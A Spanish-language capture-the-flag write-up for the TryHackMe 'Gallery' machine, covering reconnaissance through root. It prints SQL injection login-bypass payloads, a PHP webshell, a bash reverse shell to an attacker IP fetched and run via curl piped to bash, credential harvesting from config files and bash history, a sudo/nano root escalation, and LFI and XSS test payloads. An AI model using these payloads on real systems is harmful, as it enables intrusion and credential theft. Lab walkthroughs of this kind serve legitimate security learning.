Gallery - TryHackMe

January 23, 2026

WRITE UP

IP VÍCITMA-> 10.67.170.17 (TTL 63) LINUX

RECONOCIMIENTO

Lo primero que vamos hacer es crear nuestro entorno de trabajo: Gallery

Dentro usaremos la herramienta de s4vitar mkt cual nos generara las carpetas necesarias para tener todo más organizado; Nmap…

Para empezar el reconocimiento, enviamos una traza ICMP a la IP de la maquina víctima, para comprobar que tenemos conectividad, tenemos dos alternativas:

-Usar el script whichSystem que nos dirá directamente el equipo al que estamos atacando, por ende habrá tenido ping para dar la respuesta. Es más silencioso que nmap.

whichSystem.py 10.67.170.17

-Usar el comando ping:

ping 10.67.170.17 -c1 -R
# -R Lo que hace es un record route que consiste que a la hora de hacer la petición se lo envía a un nodo intermediario para que no sea directa la petición*

Después de confirmar que tenemos conectividad, usaremos nmap para a ver que puertos tenemos abiertos y que protocolos/servicios tenemos.

nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.67.170.17 -oG allPorts
Veremos porque el formato grapeable, es importante.

Una vez hecho, usaremos otra herramienta de s4vitar extractports al archivo allPorts cual nos copiara los puertos, y escanearlos con nmap.

extractports.sh allPorts

nmap -sVC -p22,80,8080 10.67.170.17 -oN targeted
#  El formato -oN lo emplearemos con batcat lenguaje java para verlo mejor
#  Nos mostrará la versión de los servicios que están corriendo
#  Usará scripts defaults definidos en lua

Una vez escaneado, usaremos batcat:

https://github.com/sharkdp/bat.git

batcat targeted -l java

ANÁLISIS SSH: RECONOCIMIENTO

Con searchsploit buscaremos si la versión del SSH es vulnerable pero como es común encontrarse con esta versión, nunca es.

searchsploit openssh 8.2p1

ANÁLISIS WEB: RECONOCIMIENTO

Haremos un whatweb a la página web por el puerto 8080, para conocer tecnologías, lenguaje… Ya que el otro puerto es el Default de Apache. Es lo mismo que la extensión Wappalyzer pero por consola.

whatweb http://10.67.170.17:8080/

Hay un formulario y el lenguaje es PHP.

Entramos a la página y nos saldrá un Login cual de momento no tenemos credenciales.

Se trata del CMS “Simple Image”. Buscamos en google:

Herramienta para diseños web cual permite visualizar imágenes de forma profesional.

POSIBLES EXPLOTACIONES A NIVEL WEB: SQLI

Una inyección SQL (Structured Query Language) es un tipo de ataque en el que se intenta explotar vulnerabilidades en el código de una aplicación insertando una consulta SQL en campos de entrada o formulario regulares, como un nombre de usuario o contraseña.

Podemos ver ejemplos de SQLI básicos en formularios de Bases de datos, algunos métodos comunes:

Introduciendo como usuario name'# o ' OR '1'='1 o ' OR 1=1-- - o name' or '1'='1'# -> el símbolo # hace que el resto de la consulta, incluyendo la verificación de la contraseña, quede comentado, por lo que no se comprueba la contraseña (Ponemos la que sea).
Introduciendo en la contraseña ' OR '1'='1 -> esta condición siempre es verdadera, lo que hace que el sistema acepte el acceso sin validar la contraseña real.

Aunque muchas más variaciones estas son las más típicas, lo mejor que como el lenguaje es PHP lo hace más vulnerable.

BUSCAR CREDENCIALES POTENCIALES

Como carecemos de algún nombre o contraseña vamos a mirar por el código fuente, a ver si vemos algo. “CTRL + U”

Filtramos por “admin” y nos llevara a un css que usa una página de plantillas para administración.

Teniendo esto, no nos da un nombre pero como es para administración, podríamos probar con cosas parecidas a admin o administrator…

SQLI

ALGUNOS PAYLOADS EXITOSOS:

# Usuario
admin' OR '1'='1' -- -

# Contraseña
(cualquier contraseña)

# Usuario
admin'#

# Contraseña
(cualquier contraseña)

Accederemos como Administrator al panel del CMS, porque se ha acontecido la vulnerabilidad SQLI.

En el código fuente vemos una ruta cual se refiere al alojamiento de archivos. -> /uploads/

Si nos metemos, nos sale un /user_1/.

Si recordamos en la página del admin, salía un apartado de “Albums”. Cual lo más probable es que corresponda con esta ruta.

SEARCHSPLOIT: Simple Image Gallery

Si hubiésemos usado searchsploit para buscar “Simple Image Gallery”, nos hubiese salido las vulnerabilidades que tiene por versión.

En este caso si nos fijamos en el panel a abajo izquierda, tiene la v1.0 cual permite SQLI y ejecución remota de comandos (Remote Code Execution)

searchsploit Simple Image Gallery

Vamos a mirar el código:

searchsploit openssh 8.2p1 -x php/webapps/50214.py

Ha usado el mismo método que nosotros para bypassear la autenticación del Login.

Para ejecutar comandos vemos que sube una webshell, que se basa sobre el parámetro page=user, para ejecutar código. Esta vulnerabilidad es CVE-2023-27040.

Pero nosotros los vamos hacer por otro lado. Nos vamos al apartado “Albums”: Donde se aloja una serie de fotos por álbumes.

FUZZING: DESCUBRIMIENTO DIRECTORIOS NIVEL WEB

Haremos Fuzzing con ffuf para saber en que directorio web se alojan estas fotos.

ffuf -c -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://10.65.178.201/gallery/FUZZ/ -fc 404 -mc 200,302,403,401

Entre estas, destaca /uploads/ que es el directorio donde habíamos visto previamente, y estos álbumes alojados en /user_1/ con sus respectivas fotos.

Nos metemos en “/Album_2/” y nos saldrá una serie de fotos, nos metemos en alguna.

FILE UPLOAD: WEBSHELL

Como podemos ver la foto de “album_2” que corresponde con la de “Sample Images”. Encima al tener privilegios a nivel web podemos subir archivos.

Vamos a ver si nos valida al extensión .php .

Crearemos una webshell para poder ejecutar comandos en caso de que funcione, por el parámetro ?cmd= . Jugaremos con etiquetas preformateadas para verlo mejor.

<?php echo '<pre>' . system($_GET["cmd"]) . '<pre>'; ?>

Le damos a “Upload”:

Filtramos por todos los archivos y aceptamos.

Subiéndose exitosamente la webshell.

EJECUCIÓN WEBSHELL: RCE

Para ejecutarla, nos iremos a la ruta del album_2, y como tienen una id asignada cada archivo, veremos la de la webshell y seguiremos esta sintaxis en la URL:

1769202660.php?cmd=

Después del “=” pondremos el comando a ejecutar cual se interpretara. En este caso probaremos con id.

Nos dará salida teniendo una ejecución de comandos exitosa.

CONFIGURACIÓN NETCAT: REVERSHELL

Ahora nos daremos una Reverseshell.

Lo primero será configurar nuestro netcat para recibir el host para victima para cuando enviemos la revershell, nos pondremos en escucha por el puerto 443.

nc -nvlp 443

CONFIGURACIÓN REVERSHELL

Meteremos la línea de revershell en un archivo .sh para ejecutarlo en bash como script. Apuntara a nuestra IP atacante y al puerto en escucha que pusimos.

echo 'bash -i >& /dev/tcp/192.168.158.89/443 0>&1' > shell.sh

CONFIGURACIÓN SERVIDOR HTTP

Nos abrimos un servidor http con python3 para que ejecutar un comando que se descargue el la shell.sh y ejecutarla.

Python3 -m http.server 8000

EJECUTAR REVERSHELL

Ahora nos vamos a la página y ejecutaremos la rever shell de la siguiente forma:

Con curl nos descargaremos de nuestro servidor http el script shell.sh que esta abierto en esa ruta de donde se aloja. y al final lo concatenaremos un una tubería para que de forma paralela se ejecute en bash.

1769202660.php?cmd=curl%20http://192.168.158.89:8000/shell.sh|bash

%20 = espacio en la URL

Recibiremos en nuestro netcat la conexión de nuestra víctima. Estaremos como www-data.

TRATAMIENTO DE LA TTY

1) script /dev/null -c bash

2) CTRL + Z

3) stty raw -echo; fg

4) reset xterm

5) Esperamos, y export TERM=xterm

Y ya tendremos una shell interactiva.

BUSCA CREDENCIALES

Nos iremos a la siguiente ruta /var/www/html/gallery cual listaremos “ls”, haber que se aloja allí.

Leeremos initialize.php, cual va a contener unas credenciales de una base de datos para su acceso.

credenciales: gallery_user:passw0rd321

Para saber de que Base de datos se trata, miraremos los puertos corriendo en local. Se trata del 3306 cual es un MariaDB.

ss -tulnp

ACCESO A MariaDB: HASH ADMINISTRATOR

1) Error

mysql -u root -h 10.65.178.201

2) Usuarios por defecto: “root” or “localhost” tienen acceso denegado a la base de datos.

mysql -u root -p

3) Entramos con las credenciales encontrados; gallery_user:passw0rd321

mysql -u gallery_user -p

COMANDOS

Para mostrar las bases de datos disponibles: show databases;

Nos interesa la base de datos gallery_db.

Para usar dicha db: use gallery_db;

Para mostrar la información de dicha db, filtraremos sus tablas: show tables;

Para seleccionar la tabla: SELECT * FROM users; Nos lista al usuario administrador con su hash. (No es relevante romperlo, lo podemos ignorar)

Para salir usamos: exit

LISTAR USUARIOS DEL SISTEMA

Leeremos el fichero /etc/passwd para ver que ususarios tienen bash y a cual podríamos acceder.

cat /etc/passwd | grep sh$

(Los otros dos usuarios no serán importantes) En el home de mike, tendrá la flag de usuario pero no tendremos permisos para interactuar con nada. Nos toca buscar sus credenciales

CREDENCIALES DEL USER MIKE

En el directorio /var/backups/, veremos un directorio llamado mike_home_backup, nos metemos.

Contendrá como su nombre indica un backup de su home, que es lo que hemos visto antes. En el directorio documents habrá una nota con sus cuentas personales, que no son relevantes.

Vamos a leer su historial del bash, haber que comandos puso en su sesión. Vemos una contraseña -> b3stpassw0rdbr0xx

cat .bash_history

Probamos las credenciales y son correctas.

su mike:b3stpassw0rdbr0xx

ACCESO SSH Y BANDERA USER

Como tenemos las credenciales de mike, y el servicio ssh abierto, vamos a loguearnos en dicho servicio.

ssh mike@10.65.178.201

Tratamiento TTY en ssh.

export TERM=xterm

En el /home/mike leemos la bandera de usuario.

ESCALADA DE PRIVILEGIOS: ABUSE SUDOERS PRIVILEGE - (script) ROOTKIT.SH

Listamos nuestros permisos de sudo disponibles como usuario para ver si tenemos algún privilegio de cual aprovecharnos.

sudo -l

Nos lista uno que no pide contraseña y que es de root. Podemos usar bash como root para el ejecutar el script en bash “rootkit.sh” en el directorio /opt/.

Nos metemos a la ruta y vemos que el script pertenece al usuario y grupo de root.

ls -l
o
ll

Vamos a leer que contiene:

cat rootkit.sh

Para administrar la herramienta de seguridad rkhunter, permitiendo al usuario elegir qué acción ejecutar desde la terminal: comprobar la versión instalada (versioncheck), actualizar la base de datos (update), listar configuraciones o datos (list) o leer el reporte generado (read), todo mediante un menú simple que ejecuta el comando correspondiente según la opción ingresada

Para ejecutar el script: sudo /bin/bash /opt/rootkit.sh

Escogeremos la opción “read” ya que usa el editor nano sobre un fichero y puede ser una vía potencial para escalar privilegios.

SHELL ROOT: NANO

Nos ayudaremos del repositorio online: GTF Obins

Nos dice los pasos a ejecutar cuando estemos dentro de un fichero y así convertirnos en usuario privilegiado.

1) Apretamos “CTRL + R” y “CTRL + X”

2) Seguidamente: reset; sh 1>&0 2>&0

Nos dará la opción de ejecutar código y para confirmar que somos root, pondremos “id”. Exitosamente hemos escalado privilegios.

Para darnos la shell completa:

bash  -p

BANDERA ROOT

Para coger la bandera de root, nos vamos a su home /root/ y la leeremos. “cat”

COSAS EXTRAS

POSIBLE LFI

En la página podríamos haber probado en los parámetros cosas de este estilo para ver si carga elementos externos nivel local, en caso de estar mal sanitizado, pro no funcionan.

page=

page=../../../../etc/passwd

Por si tiene alguna restricción y borra las barras, no borren la segunda: page=..//..//..//..//etc//passwd

Si nos vamos a las cookies de sesión desde la DEV TOOLS vemos que esta en FALSE:

-httpOnly (significa que una cookie es accesible desde el lado del cliente, permitiendo que scripts como JavaScript lean o manipulen su contenido)

-Secure (la cookie viaja por http)

Le damos a añadir nuevo “albúm” y ponemos de nombre un simple script para probar si se refleja el xss:

<script>alert(1)</script>

Se refleja, aunque no quiere decir que sea peligroso. Aunque para esta máquina no es necesario tocar nada esto, se podría intentar un robo de cookies (Cookie Hijacking) aunque es inútil.

Si le damos al albúm nos refleja nuevamente.

pabloVentx